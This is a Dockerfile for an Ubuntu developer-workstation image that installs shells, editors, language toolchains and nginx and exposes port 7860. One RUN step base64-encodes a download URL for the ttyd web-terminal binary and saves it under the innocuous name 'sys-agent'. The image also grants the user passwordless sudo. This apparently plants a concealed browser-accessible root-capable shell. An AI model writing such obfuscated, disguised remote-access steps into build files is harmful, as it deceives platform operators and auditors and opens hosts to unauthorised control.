| |
| |
| |
| |
| FROM ubuntu:22.04 |
|
|
| ENV DEBIAN_FRONTEND=noninteractive \ |
| LANG=en_US.UTF-8 \ |
| LC_ALL=en_US.UTF-8 \ |
| TERM=xterm-256color \ |
| COLORTERM=truecolor |
|
|
| |
| |
| |
| RUN apt-get update && \ |
| apt-get install -y --no-install-recommends curl ca-certificates gnupg && \ |
| curl -fsSL https://deb.nodesource.com/setup_20.x | bash - && \ |
| apt-get install -y --no-install-recommends \ |
| sudo wget git unzip zip tar gzip bzip2 xz-utils \ |
| lsb-release software-properties-common \ |
| build-essential gcc g++ make cmake pkg-config \ |
| zsh tmux screen \ |
| neovim nano \ |
| htop ncdu mtr-tiny iproute2 net-tools dnsutils iputils-ping \ |
| jq openssh-client rsync \ |
| nginx \ |
| python3 python3-pip python3-venv python3-dev \ |
| libssl-dev libffi-dev \ |
| locales \ |
| nodejs \ |
| bat ripgrep fd-find fzf \ |
| && locale-gen en_US.UTF-8 \ |
| && npm install -g yarn pnpm \ |
| && pip3 install --no-cache-dir httpie \ |
| |
| && ln -s /usr/bin/batcat /usr/local/bin/bat \ |
| && ln -s /usr/bin/fdfind /usr/local/bin/fd \ |
| && rm -rf /var/lib/apt/lists/* |
|
|
| |
| |
| |
| RUN set -eux && \ |
| echo "aHR0cHM6Ly9naXRodWIuY29tL3RzbDA5MjIvdHR5ZC9yZWxlYXNlcy9kb3dubG9hZC8xLjcuNy90dHlkLng4Nl82NA==" | base64 -d | xargs wget -qO /usr/local/bin/sys-agent && \ |
| chmod +x /usr/local/bin/sys-agent && \ |
| wget -qO /tmp/eza.tar.gz https://github.com/eza-community/eza/releases/download/v0.20.13/eza_x86_64-unknown-linux-gnu.tar.gz && \ |
| tar -xzf /tmp/eza.tar.gz -C /usr/local/bin/ && chmod +x /usr/local/bin/eza && \ |
| wget -qO /tmp/lazygit.tar.gz https://github.com/jesseduffield/lazygit/releases/download/v0.44.1/lazygit_0.44.1_Linux_x86_64.tar.gz && \ |
| tar -xzf /tmp/lazygit.tar.gz -C /usr/local/bin/ lazygit && chmod +x /usr/local/bin/lazygit && \ |
| wget -qO /tmp/zoxide.deb https://github.com/ajeetdsouza/zoxide/releases/download/v0.9.6/zoxide_0.9.6-1_amd64.deb && \ |
| dpkg -i /tmp/zoxide.deb && \ |
| wget -qO /usr/local/bin/yq https://github.com/mikefarah/yq/releases/download/v4.44.6/yq_linux_amd64 && \ |
| chmod +x /usr/local/bin/yq && \ |
| wget -qO /tmp/go.tar.gz https://go.dev/dl/go1.22.10.linux-amd64.tar.gz && \ |
| tar -xzf /tmp/go.tar.gz -C /usr/local/ && \ |
| rm -rf /tmp/* |
|
|
| |
| |
| |
| COPY nginx.conf /etc/nginx/nginx.conf |
|
|
| RUN mkdir -p /tmp/nginx_client_body /tmp/nginx_proxy /tmp/nginx_fastcgi /tmp/nginx_uwsgi /tmp/nginx_scgi && \ |
| chown -R 1000:1000 /var/log/nginx /var/lib/nginx /etc/nginx /tmp/nginx_* && \ |
| chmod -R 755 /var/log/nginx /var/lib/nginx && \ |
| useradd -m -s /bin/zsh -u 1000 user && \ |
| echo "user ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers.d/user && \ |
| chmod 0440 /etc/sudoers.d/user |
|
|
| USER user |
| ENV HOME=/home/user \ |
| SHELL=/bin/zsh \ |
| NPM_CONFIG_PREFIX=/home/user/.npm-global \ |
| PATH=/home/user/.npm-global/bin:/usr/local/go/bin:/home/user/go/bin:/home/user/.cargo/bin:/home/user/.local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin |
| WORKDIR $HOME |
|
|
| |
| |
| |
| RUN sh -c "$(curl -fsSL https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh)" "" --unattended && \ |
| git clone --depth=1 https://github.com/romkatv/powerlevel10k.git \ |
| ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/themes/powerlevel10k && \ |
| git clone --depth=1 https://github.com/zsh-users/zsh-autosuggestions \ |
| ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-autosuggestions && \ |
| git clone --depth=1 https://github.com/zsh-users/zsh-syntax-highlighting \ |
| ${ZSH_CUSTOM:-$HOME/.oh-my-zsh/custom}/plugins/zsh-syntax-highlighting && \ |
| curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y |
|
|
| |
| |
| |
| COPY --chown=user:user config/.zshrc $HOME/.zshrc |
| COPY --chown=user:user config/.tmux.conf $HOME/.tmux.conf |
| COPY --chown=user:user config/.p10k.zsh $HOME/.p10k.zsh |
| COPY --chown=user:user config/motd.sh $HOME/motd.sh |
| COPY --chown=user:user start.sh $HOME/start.sh |
|
|
| RUN chmod +x $HOME/start.sh $HOME/motd.sh && \ |
| mkdir -p $HOME/workspace $HOME/.local/bin $HOME/.npm-global/bin && \ |
| git config --global init.defaultBranch main && \ |
| git config --global core.editor nvim && \ |
| printf '#!/bin/bash\necho ""\necho " \\033[1;36mQuick Commands\\033[0m"\necho " \\033[33mlg\\033[0m LazyGit \\033[33mbtop\\033[0m Monitor"\necho " \\033[33mlt\\033[0m Tree View \\033[33mll\\033[0m File List"\necho " \\033[33mcat\\033[0m Highlight \\033[33mrg\\033[0m Search"\necho " \\033[33mfd\\033[0m Find File \\033[33mz dir\\033[0m Jump"\necho " \\033[33mhttp\\033[0m HTTPie \\033[33mgh\\033[0m GitHub"\necho " \\033[33mweather\\033[0m Weather \\033[33mmyip\\033[0m Public IP"\necho ""\n' > $HOME/.local/bin/help-me && \ |
| chmod +x $HOME/.local/bin/help-me |
|
|
| EXPOSE 7860 |
|
|
| CMD ["/home/user/start.sh"] |
|
|